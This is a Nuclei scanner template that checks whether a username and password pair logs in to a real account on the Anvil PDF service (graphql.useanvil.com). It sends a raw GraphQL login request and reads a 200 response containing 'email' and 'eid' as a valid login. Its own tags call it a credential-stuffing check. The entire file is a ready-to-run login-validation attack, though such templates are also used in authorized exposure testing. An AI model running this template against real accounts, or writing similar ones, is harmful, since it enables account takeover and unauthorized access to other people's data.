id: avnil-pdf-generator-check

info:
  name: useanvil.com Login Check
  author: parthmalhotra, pdresearch
  severity: critical
  description: Checks for a valid avnil pdf generator account.
  reference:
    - https://owasp.org/www-community/attacks/Credential_stuffing
  tags: login-check,avnil-pdf,creds-stuffing

self-contained: true
requests:
  - raw:
      - |-
        POST https://graphql.useanvil.com/ HTTP/1.1
        Host: graphql.useanvil.com
        Content-Length: 367
        Content-Type: application/json

        {"operationName":"LoginMutation","variables":{"email":"{{username}}","password":"{{password}}"},"query":"mutation LoginMutation($email: String, $password: String) {\n  login(email: $email, password: $password) {\n    eid\n    firstName\n    lastName\n    email\n    preferences {\n      require2FA\n      __typename\n    }\n    extra\n    __typename\n  }\n}\n"}

    extractors:
      - type: dsl
        dsl:
          - username
          - password
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"email":"'
          - '"eid":"'
      - type: status
        status:
          - 200